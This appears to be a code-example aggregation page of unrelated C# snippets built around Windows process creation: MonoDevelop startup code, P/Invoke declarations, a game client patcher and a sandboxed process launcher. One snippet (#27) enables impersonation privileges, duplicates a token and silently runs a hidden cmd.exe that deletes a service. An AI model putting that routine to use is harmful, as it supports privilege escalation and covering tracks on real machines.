                /*Legacy IP Address code. do not remove.*/
                //stream.Position = 0x4333C2L; // ip
                //IPAddress addr = Dns.GetHostAddresses(HostName)[0];
                //var serverBytes = addr.GetAddressBytes();
                //stream.WriteByte(0x6A);
                //stream.WriteByte(serverBytes[3]);
                //stream.WriteByte(0x6A);
                //stream.WriteByte(serverBytes[2]);
                //stream.WriteByte(0x6A);
                //stream.WriteByte(serverBytes[1]);
                //stream.WriteByte(0x6A);
                //stream.WriteByte(serverBytes[0]);

                //stream.Position = 0x4333F5L; // port
                //stream.WriteByte((byte)(Port % 256));
                //stream.WriteByte((byte)(Port / 256));
                /*End legacy IP Address code. do not remove.*/
                #endregion

                var    hostBytes = Encoding.UTF8.GetBytes(HostName);
                byte[] endBytes  = new byte[12];
                if (hostBytes.Length != 12)
                {
                    for (var i = 0; i < hostBytes.Length; i++)
                    {
                        endBytes[i] = hostBytes[i];
                    }
                }
                else
                {
                    endBytes = hostBytes;
                }

                stream.Position = 0x6707A8L;
                stream.Write(endBytes, 0, 12);

                if (_config.AppSettings.Settings["MultiInstance"].Value == "true")
                {
                    stream.Position = 0x57A7D9L; // multi-instance
                    stream.WriteByte(0xEB);
                }
                else
                {
                    LaunchEnabled = false;
                    OnPropertyChanged("LaunchEnabled");
                }
            }
            Kernel32.ResumeThread(information.ThreadHandle);
            var process = Process.GetProcessById(information.ProcessId);
            process.WaitForInputIdle();

            User32.SetWindowText(process.MainWindowHandle, "DarkAges : Hybrasyl");
        }
Example #15
0
        int Run(MonoDevelopOptions options)
        {
            LoggingService.LogInfo("Starting {0} {1}", BrandingService.ApplicationName, IdeVersionInfo.MonoDevelopVersion);
            LoggingService.LogInfo("Running on {0}", IdeVersionInfo.GetRuntimeInfo());

            //ensure native libs initialized before we hit anything that p/invokes
            Platform.Initialize();

            IdeApp.Customizer = options.IdeCustomizer ?? new IdeCustomizer();
            IdeApp.Customizer.Initialize();

            Counters.Initialization.BeginTiming();

            if (options.PerfLog)
            {
                string logFile = Path.Combine(Environment.CurrentDirectory, "monodevelop.perf-log");
                LoggingService.LogInfo("Logging instrumentation service data to file: " + logFile);
                InstrumentationService.StartAutoSave(logFile, 1000);
            }

            Counters.Initialization.Trace("Initializing GTK");
            if (Platform.IsWindows && !CheckWindowsGtk())
            {
                return(1);
            }
            SetupExceptionManager();

            try {
                GLibLogging.Enabled = true;
            } catch (Exception ex) {
                LoggingService.LogError("Error initialising GLib logging.", ex);
            }

            SetupTheme();

            var args = options.RemainingArgs.ToArray();

            Gtk.Application.Init(BrandingService.ApplicationName, ref args);

            LoggingService.LogInfo("Using GTK+ {0}", IdeVersionInfo.GetGtkVersion());

            // XWT initialization
            FilePath p = typeof(IdeStartup).Assembly.Location;

            Assembly.LoadFrom(p.ParentDirectory.Combine("Xwt.Gtk.dll"));
            Xwt.Application.InitializeAsGuest(Xwt.ToolkitType.Gtk);
            Xwt.Toolkit.CurrentEngine.RegisterBackend <IExtendedTitleBarWindowBackend, GtkExtendedTitleBarWindowBackend> ();
            Xwt.Toolkit.CurrentEngine.RegisterBackend <IExtendedTitleBarDialogBackend, GtkExtendedTitleBarDialogBackend> ();

            //default to Windows IME on Windows
            if (Platform.IsWindows && Mono.TextEditor.GtkWorkarounds.GtkMinorVersion >= 16)
            {
                var settings = Gtk.Settings.Default;
                var val      = Mono.TextEditor.GtkWorkarounds.GetProperty(settings, "gtk-im-module");
                if (string.IsNullOrEmpty(val.Val as string))
                {
                    Mono.TextEditor.GtkWorkarounds.SetProperty(settings, "gtk-im-module", new GLib.Value("ime"));
                }
            }

            InternalLog.Initialize();
            string   socket_filename = null;
            EndPoint ep = null;

            DispatchService.Initialize();

            // Set a synchronization context for the main gtk thread
            SynchronizationContext.SetSynchronizationContext(new GtkSynchronizationContext());
            Runtime.MainSynchronizationContext = SynchronizationContext.Current;

            AddinManager.AddinLoadError += OnAddinError;

            var startupInfo = new StartupInfo(args);

            // If a combine was specified, force --newwindow.

            if (!options.NewWindow && startupInfo.HasFiles)
            {
                Counters.Initialization.Trace("Pre-Initializing Runtime to load files in existing window");
                Runtime.Initialize(true);
//				foreach (var file in startupInfo.RequestedFileList) {
//					if (MonoDevelop.Projects.Services.ProjectService.IsWorkspaceItemFile (file.FileName)) {
//						options.NewWindow = true;
//						break;
//					}
//				}
            }

            Counters.Initialization.Trace("Initializing Runtime");
            Runtime.Initialize(true);

            IdeApp.Customizer.OnCoreInitialized();

            Counters.Initialization.Trace("Initializing theme");

            DefaultTheme = Gtk.Settings.Default.ThemeName;
            string theme = IdeApp.Preferences.UserInterfaceTheme;

            if (string.IsNullOrEmpty(theme))
            {
                theme = DefaultTheme;
            }
            ValidateGtkTheme(ref theme);
            if (theme != DefaultTheme)
            {
                Gtk.Settings.Default.ThemeName = theme;
            }

            IProgressMonitor monitor = new MonoDevelop.Core.ProgressMonitoring.ConsoleProgressMonitor();

            monitor.BeginTask(GettextCatalog.GetString("Starting {0}", BrandingService.ApplicationName), 2);

            //make sure that the platform service is initialised so that the Mac platform can subscribe to open-document events
            Counters.Initialization.Trace("Initializing Platform Service");
            DesktopService.Initialize();

            monitor.Step(1);

            if (options.IpcTcp)
            {
                listen_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
                ep            = new IPEndPoint(IPAddress.Loopback, ipcBasePort + HashSdbmBounded(Environment.UserName));
            }
            else
            {
                socket_filename = "/tmp/md-" + Environment.GetEnvironmentVariable("USER") + "-socket";
                listen_socket   = new Socket(AddressFamily.Unix, SocketType.Stream, ProtocolType.IP);
                ep = new UnixEndPoint(socket_filename);
            }

            // If not opening a combine, connect to existing monodevelop and pass filename(s) and exit
            if (!options.NewWindow && startupInfo.HasFiles)
            {
                try {
                    StringBuilder builder = new StringBuilder();
                    foreach (var file in startupInfo.RequestedFileList)
                    {
                        builder.AppendFormat("{0};{1};{2}\n", file.FileName, file.Line, file.Column);
                    }
                    listen_socket.Connect(ep);
                    listen_socket.Send(Encoding.UTF8.GetBytes(builder.ToString()));
                    return(0);
                } catch {
                    // Reset the socket
                    if (null != socket_filename && File.Exists(socket_filename))
                    {
                        File.Delete(socket_filename);
                    }

                    if (options.IpcTcp)
                    {
                        try {
                            listen_socket.Close();
                            listen_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
                        } catch (Exception exc) {
                            LoggingService.LogError("Error resetting TCP socket", exc);
                        }
                    }
                }
            }

            Counters.Initialization.Trace("Checking System");
            string version = Assembly.GetEntryAssembly().GetName().Version.Major + "." + Assembly.GetEntryAssembly().GetName().Version.Minor;

            if (Assembly.GetEntryAssembly().GetName().Version.Build != 0)
            {
                version += "." + Assembly.GetEntryAssembly().GetName().Version.Build;
            }
            if (Assembly.GetEntryAssembly().GetName().Version.Revision != 0)
            {
                version += "." + Assembly.GetEntryAssembly().GetName().Version.Revision;
            }

            CheckFileWatcher();

            Exception error            = null;
            int       reportedFailures = 0;

            try {
                Counters.Initialization.Trace("Loading Icons");
                //force initialisation before the workbench so that it can register stock icons for GTK before they get requested
                ImageService.Initialize();

                if (errorsList.Count > 0)
                {
                    AddinLoadErrorDialog dlg = new AddinLoadErrorDialog((AddinError[])errorsList.ToArray(typeof(AddinError)), false);
                    if (!dlg.Run())
                    {
                        return(1);
                    }
                    reportedFailures = errorsList.Count;
                }

                if (!CheckSCPlugin())
                {
                    return(1);
                }

                // no alternative for Application.ThreadException?
                // Application.ThreadException += new ThreadExceptionEventHandler(ShowErrorBox);

                Counters.Initialization.Trace("Initializing IdeApp");
                IdeApp.Initialize(monitor);

                // Load requested files
                Counters.Initialization.Trace("Opening Files");

                // load previous combine
                if (IdeApp.Preferences.LoadPrevSolutionOnStartup && !startupInfo.HasSolutionFile && !IdeApp.Workspace.WorkspaceItemIsOpening && !IdeApp.Workspace.IsOpen)
                {
                    var proj = DesktopService.RecentFiles.GetProjects().FirstOrDefault();
                    if (proj != null)
                    {
                        IdeApp.Workspace.OpenWorkspaceItem(proj.FileName).WaitForCompleted();
                    }
                }

                IdeApp.OpenFiles(startupInfo.RequestedFileList);

                monitor.Step(1);
            } catch (Exception e) {
                error = e;
            } finally {
                monitor.Dispose();
            }

            if (error != null)
            {
                string message = BrandingService.BrandApplicationName(GettextCatalog.GetString("MonoDevelop failed to start"));
                MessageService.ShowFatalError(message, null, error);
                return(1);
            }

            if (errorsList.Count > reportedFailures)
            {
                AddinLoadErrorDialog dlg = new AddinLoadErrorDialog((AddinError[])errorsList.ToArray(typeof(AddinError)), true);
                dlg.Run();
            }

            errorsList = null;

            // FIXME: we should probably track the last 'selected' one
            // and do this more cleanly
            try {
                listen_socket.Bind(ep);
                listen_socket.Listen(5);
                listen_socket.BeginAccept(new AsyncCallback(ListenCallback), listen_socket);
            } catch {
                // Socket already in use
            }

            initialized = true;
            MessageService.RootWindow = IdeApp.Workbench.RootWindow;
            Thread.CurrentThread.Name = "GUI Thread";
            Counters.Initialization.Trace("Running IdeApp");
            Counters.Initialization.EndTiming();

            AddinManager.AddExtensionNodeHandler("/MonoDevelop/Ide/InitCompleteHandlers", OnExtensionChanged);
            StartLockupTracker();
            IdeApp.Run();

            IdeApp.Customizer.OnIdeShutdown();

            // unloading services
            if (null != socket_filename)
            {
                File.Delete(socket_filename);
            }
            lockupCheckRunning = false;
            Runtime.Shutdown();

            IdeApp.Customizer.OnCoreShutdown();

            InstrumentationService.Stop();
            AddinManager.AddinLoadError -= OnAddinError;

            return(0);
        }
Example #16
0
 private static void _TestCommand(StartupInfo info, string[] args)
 {
     Console.WriteLine("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
 }
Example #17
0
 public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref StartupInfo lpStartupInfo, out ProcessInformation lpProcessInformation);
 public void PopulateStartupInfos()
 {
     // Get startup information
     StartupInfo.GetStartupInfos(ConfigurationManager.StartupInfos);
 }
Example #19
0
        public ProcessAdvanced(string fileName, string workingDirectory, IEnumerable <string> arguments = null, int bufferSize = 4096)
        {
            // Initialize fields
            this.fileName   = fileName;
            this.IsDisposed = false;

            // Prepare startup info and redirect standard IO handles
            var startupInfo = new StartupInfo();

            this.RedirectStandardIoHandles(ref startupInfo, bufferSize);

            // Create restricted token
            var restrictedToken = this.CreateRestrictedToken();

            // Set mandatory label
            this.SetTokenMandatoryLabel(restrictedToken, SecurityMandatoryLabel.Low);

            var processSecurityAttributes = new SecurityAttributes();
            var threadSecurityAttributes  = new SecurityAttributes();

            this.processInformation = default(ProcessInformation);

            const uint CreationFlags = (uint)(
                CreateProcessFlags.CREATE_SUSPENDED |
                CreateProcessFlags.CREATE_BREAKAWAY_FROM_JOB |
                CreateProcessFlags.CREATE_UNICODE_ENVIRONMENT |
                CreateProcessFlags.CREATE_NEW_PROCESS_GROUP |
                CreateProcessFlags.DETACHED_PROCESS | // http://stackoverflow.com/questions/6371149/what-is-the-difference-between-detach-process-and-create-no-window-process-creat
                CreateProcessFlags.CREATE_NO_WINDOW) |
                                       (uint)ProcessPriorityClass.High;

            string commandLine;

            if (arguments != null)
            {
                var commandLineBuilder = new StringBuilder();
                commandLineBuilder.AppendFormat("\"{0}\"", fileName);
                foreach (var argument in arguments)
                {
                    commandLineBuilder.Append(' ');
                    commandLineBuilder.Append(argument);
                }

                commandLine = commandLineBuilder.ToString();
            }
            else
            {
                commandLine = fileName;
            }

            if (!NativeMethods.CreateProcessAsUser(
                    restrictedToken,
                    null,
                    commandLine,
                    processSecurityAttributes,
                    threadSecurityAttributes,
                    true, // In order to standard input, output and error redirection work, the handles must be inheritable and the CreateProcess() API must specify that inheritable handles are to be inherited by the child process by specifying TRUE in the bInheritHandles parameter.
                    CreationFlags,
                    IntPtr.Zero,
                    workingDirectory,
                    startupInfo,
                    out this.processInformation))
            {
                Debug.WriteLine("er: throw new Win32Exception();");

                //throw new Win32Exception();
            }

            this.safeProcessHandle = new SafeProcessHandle(this.processInformation.Process);

            // This is a very important line! Without disposing the startupInfo handles, reading the standard output (or error) will hang forever.
            // Same problem described here: http://social.msdn.microsoft.com/Forums/vstudio/en-US/3c25a2e8-b1ea-4fc4-927b-cb865d435147/how-does-processstart-work-in-getting-output
            startupInfo.Dispose();

            NativeMethods.CloseHandle(restrictedToken);
        }
Example #20
0
 public abstract Task StartupAsync(StartupInfo e);
Example #21
0
 public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref Security_attributes lpProcessAttributes,
     ref Security_attributes lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
     String lpCurrentDirectory, ref StartupInfo lpStartupInfo, out Process_Information lpProcessInformation);
Example #22
0
 private static extern bool CreateProcess(string Application, string CommandLine, IntPtr ProcessAttributes,
                                          IntPtr ThreadAttributes, bool InheritHandles, uint CreationFlags, IntPtr Environment,
                                          string CurrentDirectory, ref StartupInfo StartupInfo, out ProcessInformation ProcessInformation);
Example #23
0
 public static Boolean Copy(StartupInfo start)
 {
     return (new Dumper(start)).Copy();
 }
Example #24
0
 static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, [In] StringBuilder lpCommandLine, IntPtr /*to a SecurityAttributes struct or null*/ lpProcessAttributes, IntPtr /*to a SecurityAttributes struct or null*/ lpThreadAttributes, bool bInheritHandles, CreationFlags creationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref StartupInfo lpStartupInfo, out ProcessInformation lpProcessInformation);
Example #25
0
        private void buttonCheckOrGo_Click(object sender, System.EventArgs e)
        {
            StartupInfo startup = new StartupInfo();
            startup.DestinationRootDirectory = comboDestDir.Text + Path.DirectorySeparatorChar;
            startup.SourceDirectory = comboBackupDir.Text + Path.DirectorySeparatorChar;
            startup.PreviousDateLimit = (Int32)numericLimitDay.Value;
            startup.IgnoreError = checkOnErrorStop.Checked;
            startup.DumpProgress = new DumpProgressHandler(DumpProgressHandled);
            startup.Error = new ErrorHandler(ErrorHandled);
            startup.CheckMode = (sender == buttonCheck);

            if (textExclude.Text.Trim() != "")
            {
                startup.Exclude = new Regex(textExclude.Text.Trim(), RegexOptions.IgnoreCase);
            }

            listViewLog.Items.Clear();
            listViewLog.BeginUpdate();
            Dumper.Copy(startup);
            listViewLog.EndUpdate();
            statusBar.Text = "�t�@�C���̃o�b�N�A�b�v���������܂���";
        }
Example #26
0
		int Run (MonoDevelopOptions options)
		{
			LoggingService.LogInfo ("Starting {0} {1}", BrandingService.ApplicationLongName, IdeVersionInfo.MonoDevelopVersion);
			LoggingService.LogInfo ("Build Information{0}{1}", Environment.NewLine, SystemInformation.GetBuildInformation ());
			LoggingService.LogInfo ("Running on {0}", RuntimeVersionInfo.GetRuntimeInfo ());

			//ensure native libs initialized before we hit anything that p/invokes
			Platform.Initialize ();
			sectionTimings ["PlatformInitialization"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			GettextCatalog.Initialize ();
			sectionTimings ["GettextInitialization"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			LoggingService.LogInfo ("Operating System: {0}", SystemInformation.GetOperatingSystemDescription ());

			if (!Platform.IsWindows) {
				// The assembly resolver for MSBuild 15 assemblies needs to be defined early on.
				// Whilst Runtime.Initialize loads the MSBuild 15 assemblies from Mono this seems
				// to be too late to prevent the MEF composition and the static registrar from
				// failing to load the MonoDevelop.Ide assembly which now uses MSBuild 15 assemblies.
				ResolveMSBuildAssemblies ();
			}

			Counters.Initialization.BeginTiming ();

			if (options.PerfLog) {
				string logFile = Path.Combine (Environment.CurrentDirectory, "monodevelop.perf-log");
				LoggingService.LogInfo ("Logging instrumentation service data to file: " + logFile);
				InstrumentationService.StartAutoSave (logFile, 1000);
			}

			Counters.Initialization.Trace ("Initializing GTK");
			if (Platform.IsWindows && !CheckWindowsGtk ())
				return 1;
			SetupExceptionManager ();

			// explicit GLib type system initialization for GLib < 2.36 before any other type system access
			GLib.GType.Init ();

			IdeApp.Customizer = options.IdeCustomizer ?? new IdeCustomizer ();
			try {
				IdeApp.Customizer.Initialize ();
			} catch (UnauthorizedAccessException ua) {
				LoggingService.LogError ("Unauthorized access: " + ua.Message);
				return 1;
			}

			try {
				GLibLogging.Enabled = true;
			} catch (Exception ex) {
				LoggingService.LogError ("Error initialising GLib logging.", ex);
			}

			var args = options.RemainingArgs.ToArray ();
			IdeTheme.InitializeGtk (BrandingService.ApplicationName, ref args);

			sectionTimings["GtkInitialization"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();
			LoggingService.LogInfo ("Using GTK+ {0}", IdeVersionInfo.GetGtkVersion ());

			// XWT initialization
			FilePath p = typeof(IdeStartup).Assembly.Location;
			Runtime.LoadAssemblyFrom (p.ParentDirectory.Combine("Xwt.Gtk.dll"));
			Xwt.Application.InitializeAsGuest (Xwt.ToolkitType.Gtk);
			Xwt.Toolkit.CurrentEngine.RegisterBackend<IExtendedTitleBarWindowBackend,GtkExtendedTitleBarWindowBackend> ();
			Xwt.Toolkit.CurrentEngine.RegisterBackend<IExtendedTitleBarDialogBackend,GtkExtendedTitleBarDialogBackend> ();
			IdeTheme.SetupXwtTheme ();

			sectionTimings["XwtInitialization"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			//default to Windows IME on Windows
			if (Platform.IsWindows && GtkWorkarounds.GtkMinorVersion >= 16) {
				var settings = Gtk.Settings.Default;
				var val = GtkWorkarounds.GetProperty (settings, "gtk-im-module");
				if (string.IsNullOrEmpty (val.Val as string))
					GtkWorkarounds.SetProperty (settings, "gtk-im-module", new GLib.Value ("ime"));
			}
			
			string socket_filename = null;
			EndPoint ep = null;
			
			DispatchService.Initialize ();

			// Set a synchronization context for the main gtk thread
			SynchronizationContext.SetSynchronizationContext (DispatchService.SynchronizationContext);
			Runtime.MainSynchronizationContext = SynchronizationContext.Current;

			sectionTimings["DispatchInitialization"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			// Initialize Roslyn's synchronization context
			RoslynServices.RoslynService.Initialize ();

			sectionTimings["RoslynInitialization"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			AddinManager.AddinLoadError += OnAddinError;

			var startupInfo = new StartupInfo (args);

			// If a combine was specified, force --newwindow.

			if (!options.NewWindow && startupInfo.HasFiles) {
				Counters.Initialization.Trace ("Pre-Initializing Runtime to load files in existing window");
				Runtime.Initialize (true);
				foreach (var file in startupInfo.RequestedFileList) {
					if (MonoDevelop.Projects.Services.ProjectService.IsWorkspaceItemFile (file.FileName)) {
						options.NewWindow = true;
						break;
					}
				}
			}
			
			Counters.Initialization.Trace ("Initializing Runtime");
			Runtime.Initialize (true);

			sectionTimings ["RuntimeInitialization"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			bool restartRequested = PropertyService.Get ("MonoDevelop.Core.RestartRequested", false);
			startupInfo.Restarted = restartRequested;
			PropertyService.Set ("MonoDevelop.Core.RestartRequested", false);

			IdeApp.Customizer.OnCoreInitialized ();

			Counters.Initialization.Trace ("Initializing theme");

			IdeTheme.SetupGtkTheme ();

			sectionTimings["ThemeInitialized"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			ProgressMonitor monitor = new MonoDevelop.Core.ProgressMonitoring.ConsoleProgressMonitor ();
			
			monitor.BeginTask (GettextCatalog.GetString ("Starting {0}", BrandingService.ApplicationName), 2);

			//make sure that the platform service is initialised so that the Mac platform can subscribe to open-document events
			Counters.Initialization.Trace ("Initializing Platform Service");
			DesktopService.Initialize ();

			sectionTimings["PlatformInitialization"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			monitor.Step (1);

			if (options.IpcTcp) {
				listen_socket = new Socket (AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
				ep = new IPEndPoint (IPAddress.Loopback, ipcBasePort + HashSdbmBounded (Environment.UserName));
			} else {
				socket_filename = "/tmp/md-" + Environment.GetEnvironmentVariable ("USER") + "-socket";
				listen_socket = new Socket (AddressFamily.Unix, SocketType.Stream, ProtocolType.IP);
				ep = new UnixEndPoint (socket_filename);
			}
				
			// If not opening a combine, connect to existing monodevelop and pass filename(s) and exit
			if (!options.NewWindow && startupInfo.HasFiles) {
				try {
					StringBuilder builder = new StringBuilder ();
					foreach (var file in startupInfo.RequestedFileList) {
						builder.AppendFormat ("{0};{1};{2}\n", file.FileName, file.Line, file.Column);
					}
					listen_socket.Connect (ep);
					listen_socket.Send (Encoding.UTF8.GetBytes (builder.ToString ()));
					return 0;
				} catch {
					// Reset the socket
					if (null != socket_filename && File.Exists (socket_filename))
						File.Delete (socket_filename);
				}
			}
			
			Counters.Initialization.Trace ("Checking System");

			CheckFileWatcher ();

			sectionTimings["FileWatcherInitialization"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			Exception error = null;
			int reportedFailures = 0;

			try {
				Counters.Initialization.Trace ("Loading Icons");
				//force initialisation before the workbench so that it can register stock icons for GTK before they get requested
				ImageService.Initialize ();

				sectionTimings ["ImageInitialization"] = startupSectionTimer.ElapsedMilliseconds;
				startupSectionTimer.Restart ();

				// If we display an error dialog before the main workbench window on OS X then a second application menu is created
				// which is then replaced with a second empty Apple menu.
				// XBC #33699
				Counters.Initialization.Trace ("Initializing IdeApp");

				hideWelcomePage = startupInfo.HasFiles;
				IdeApp.Initialize (monitor, hideWelcomePage);
				sectionTimings ["AppInitialization"] = startupSectionTimer.ElapsedMilliseconds;
				startupSectionTimer.Restart ();

				if (errorsList.Count > 0) {
					using (AddinLoadErrorDialog dlg = new AddinLoadErrorDialog (errorsList.ToArray (), false)) {
						if (!dlg.Run ())
							return 1;
					}
					reportedFailures = errorsList.Count;
				}

				if (!CheckSCPlugin ())
					return 1;

				// Load requested files
				Counters.Initialization.Trace ("Opening Files");

				// load previous combine
				RecentFile openedProject = null;
				if (IdeApp.Preferences.LoadPrevSolutionOnStartup && !startupInfo.HasSolutionFile && !IdeApp.Workspace.WorkspaceItemIsOpening && !IdeApp.Workspace.IsOpen) {
					openedProject = DesktopService.RecentFiles.MostRecentlyUsedProject;
					if (openedProject != null) {
						var metadata = GetOpenWorkspaceOnStartupMetadata ();
						IdeApp.Workspace.OpenWorkspaceItem (openedProject.FileName, true, true, metadata).ContinueWith (t => IdeApp.OpenFiles (startupInfo.RequestedFileList, metadata), TaskScheduler.FromCurrentSynchronizationContext ());
						startupInfo.OpenedRecentProject = true;
					}
				}
				if (openedProject == null) {
					IdeApp.OpenFiles (startupInfo.RequestedFileList, GetOpenWorkspaceOnStartupMetadata ());
					startupInfo.OpenedFiles = startupInfo.HasFiles;
				}
				
				monitor.Step (1);
			
			} catch (Exception e) {
				error = e;
			} finally {
				monitor.Dispose ();
			}
			
			if (error != null) {
				string message = BrandingService.BrandApplicationName (GettextCatalog.GetString ("MonoDevelop failed to start"));
				message = message + "\n\n" + error.Message;
				MessageService.ShowFatalError (message, null, error);

				return 1;
			}

			if (errorsList.Count > reportedFailures) {
				using (AddinLoadErrorDialog dlg = new AddinLoadErrorDialog (errorsList.ToArray (), true))
					dlg.Run ();
			}
			
			errorsList = null;
			AddinManager.AddinLoadError -= OnAddinError;

			sectionTimings["BasicInitializationCompleted"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			// FIXME: we should probably track the last 'selected' one
			// and do this more cleanly
			try {
				listen_socket.Bind (ep);
				listen_socket.Listen (5);
				listen_socket.BeginAccept (new AsyncCallback (ListenCallback), listen_socket);
			} catch {
				// Socket already in use
			}

			sectionTimings["SocketInitialization"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			initialized = true;
			MessageService.RootWindow = IdeApp.Workbench.RootWindow;
			Xwt.MessageDialog.RootWindow = Xwt.Toolkit.CurrentEngine.WrapWindow (IdeApp.Workbench.RootWindow);

			sectionTimings["WindowOpened"] = startupSectionTimer.ElapsedMilliseconds;
			startupSectionTimer.Restart ();

			Thread.CurrentThread.Name = "GUI Thread";
			Counters.Initialization.Trace ("Running IdeApp");
			Counters.Initialization.EndTiming ();
				
			AddinManager.AddExtensionNodeHandler("/MonoDevelop/Ide/InitCompleteHandlers", OnExtensionChanged);
			StartLockupTracker ();

			// This call is important so the current event loop is run before we run the main loop.
			// On Mac, the OpenDocuments event gets handled here, so we need to get the timeout
			// it queues before the OnIdle event so we can start opening a solution before
			// we show the main window.
			DispatchService.RunPendingEvents ();

			sectionTimings ["PumpEventLoop"] = startupSectionTimer.ElapsedMilliseconds;
			startupTimer.Stop ();
			startupSectionTimer.Stop ();

			// Need to start this timer because we don't know yet if we've been asked to open a solution from the file manager.
			timeToCodeTimer.Start ();
			ttcMetadata = new TimeToCodeMetadata {
				StartupTime = startupTimer.ElapsedMilliseconds
			};

			// Start this timer to limit the time to decide if the app was opened by a file manager
			IdeApp.StartFMOpenTimer (FMOpenTimerExpired);
			IdeApp.Workspace.FirstWorkspaceItemOpened += CompleteSolutionTimeToCode;
			IdeApp.Workbench.DocumentOpened += CompleteFileTimeToCode;

			CreateStartupMetadata (startupInfo, sectionTimings);

			GLib.Idle.Add (OnIdle);
			IdeApp.Run ();

			IdeApp.Customizer.OnIdeShutdown ();
			
			// unloading services
			if (null != socket_filename)
				File.Delete (socket_filename);
			lockupCheckRunning = false;
			Runtime.Shutdown ();

			IdeApp.Customizer.OnCoreShutdown ();

			InstrumentationService.Stop ();

			MonoDevelop.Components.GtkWorkarounds.Terminate ();
			
			return 0;
		}
Example #27
0
        public static void Start()
        {
            var sysCall = new SysCallManager();

            try
            {
                var token      = WindowsIdentity.GetCurrent().Token;
                var privileges = new List <string>
                {
                    "SeImpersonatePrivilege",
                    "SeTcbPrivilege",
                    "SeAssignPrimaryTokenPrivilege",
                    "SeIncreaseQuotaPrivilege"
                };

                var currentToken = IntPtr.Zero;
                GetProcessToken(Process.GetCurrentProcess().Handle, TokenAccessFlags.TokenAdjustPrivileges, out currentToken,
                                sysCall);

                EnablePrivileges(currentToken, privileges);

                CloseHandle(currentToken);

                const TokenAccessFlags tokenAccess = TokenAccessFlags.TokenQuery | TokenAccessFlags.TokenAssignPrimary |
                                                     TokenAccessFlags.TokenDuplicate | TokenAccessFlags.TokenAdjustDefault |
                                                     TokenAccessFlags.TokenAdjustSessionId;

                if (!DuplicateTokenEx(token, tokenAccess, IntPtr.Zero, SecurityImpersonationLevel.SecurityImpersonation,
                                      TokenType.TokenPrimary, out var newToken))
                {
                    return;
                }

                var startupInfo = new StartupInfo();
                startupInfo.cb          = Marshal.SizeOf(startupInfo);
                startupInfo.lpDesktop   = "";
                startupInfo.wShowWindow = 0;
                startupInfo.dwFlags    |= 0x00000001;

                const LogonFlags logonFlags = new LogonFlags();

                if (CreateProcessAsUserW(newToken, null,
                                         @"c:\windows\system32\cmd.exe /Q /C sc delete NewDefaultService2 && exit", IntPtr.Zero,
                                         IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _))
                {
                    TokenManager.Token  = newToken;
                    TokenManager.Method = 1;
                }
                else
                {
                    if (!CreateProcessWithTokenW(newToken, logonFlags, null,
                                                 @"c:\windows\system32\cmd.exe /Q /C sc delete NewDefaultService2 && exit", 0, IntPtr.Zero,
                                                 null, ref startupInfo, out _))
                    {
                        return;
                    }
                    TokenManager.Token  = newToken;
                    TokenManager.Method = 2;
                }
            }
            catch
            {
            }
        }
    private bool StartAsUser(IntPtr userToken)
    {
      var startupInfo = new StartupInfo();
      switch (StartInfo.WindowStyle)
      {
        case ProcessWindowStyle.Hidden:
          startupInfo.wShowWindow = ShowWindow.Hide;
          break;
        case ProcessWindowStyle.Maximized:
          startupInfo.wShowWindow = ShowWindow.Maximize;
          break;
        case ProcessWindowStyle.Minimized:
          startupInfo.wShowWindow = ShowWindow.Minimize;
          break;
        case ProcessWindowStyle.Normal:
          startupInfo.wShowWindow = ShowWindow.Show;
          break;
      }

      CreateStandardPipe(out _stdinReadHandle, out _stdinWriteHandle, StdHandle.Input, true, StartInfo.RedirectStandardInput);
      CreateStandardPipe(out _stdoutReadHandle, out _stdoutWriteHandle, StdHandle.Output, false, StartInfo.RedirectStandardOutput);
      CreateStandardPipe(out _stderrReadHandle, out _stderrWriteHandle, StdHandle.Error, false, StartInfo.RedirectStandardError);

      startupInfo.dwFlags = StartFlags.UseStdHandles | StartFlags.UseShowWindow;
      startupInfo.hStdInput = _stdinReadHandle;
      startupInfo.hStdOutput = _stdoutWriteHandle;
      startupInfo.hStdError = _stderrWriteHandle;

      var createFlags = CreateProcessFlags.CreateNewConsole | CreateProcessFlags.CreateNewProcessGroup | CreateProcessFlags.CreateDefaultErrorMode;
      if (StartInfo.CreateNoWindow)
      {
        startupInfo.wShowWindow = ShowWindow.Hide;
        createFlags |= CreateProcessFlags.CreateNoWindow;
      }

      if (!SafeCreateProcessAsUserW(userToken, createFlags, startupInfo))
        return false;

      if (StartInfo.RedirectStandardInput)
      {
        _stdinReadHandle.Dispose();
        var standardInput = new StreamWriter(new FileStream(_stdinWriteHandle, FileAccess.Write, DEFAULT_PIPE_BUFFER_SIZE), Console.Out.Encoding) { AutoFlush = true };
        SetField("standardInput", standardInput);
      }

      if (StartInfo.RedirectStandardOutput)
      {
        _stdoutWriteHandle.Dispose();
        var standardOutput = new StreamReader(new FileStream(_stdoutReadHandle, FileAccess.Read, DEFAULT_PIPE_BUFFER_SIZE), StartInfo.StandardOutputEncoding);
        SetField("standardOutput", standardOutput);
      }

      if (StartInfo.RedirectStandardError)
      {
